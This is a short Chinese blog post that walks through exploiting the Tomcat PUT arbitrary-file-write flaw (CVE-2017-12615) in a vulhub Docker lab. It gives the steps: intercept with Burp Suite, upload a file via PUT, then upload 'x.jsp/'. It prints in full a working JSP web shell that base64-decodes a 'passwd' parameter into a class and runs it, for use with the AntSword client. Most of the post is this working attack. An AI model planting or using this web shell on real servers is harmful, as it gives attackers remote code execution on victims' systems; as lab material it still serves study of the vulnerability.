当前位置:   article > 正文

tomcat put方法任意写文件漏洞_<% string cls = request.getparameter("ant"); if (c

<% string cls = request.getparameter("ant"); if (cls != null) { new u(this.g

(1)cd vulhub/tomcat/CVE-2017-12615 切换目录。

(2) docker-compose up -d 启动。

(3)访问:http://192.168.43.137:8080/

(4)burpsuite抓包。

(5)send to repeater,修改为PUT /l3yx.txt。

(6) docker exec -it 3e7 bash  ; cd webapps/   ;cd ROOT  ;cat l3yx.txt进入容器,查看。

(7)上传jsp木马:输入PUT /x.jsp/

<%!

    class U extends ClassLoader {

        U(ClassLoader c) {

            super(c);

        }

        public Class g(byte[] b) {

            return super.defineClass(b, 0, b.length);

        }

    }

    public byte[] base64Decode(String str) throws Exception {

        try {

            Class clazz = Class.forName("sun.misc.BASE64Decoder");

            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);

        } catch (Exception e) {

            Class clazz = Class.forName("java.util.Base64");

            Object decoder = clazz.getMethod("getDecoder").invoke(null);

            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);

        }

    }

%>

<%

    String cls = request.getParameter("passwd");

    if (cls != null) {

        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);

    }

%>

(8)蚁剑连接。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/凡人多烦事01/article/detail/452881?site=
推荐阅读
相关标签
  

闽ICP备14008679号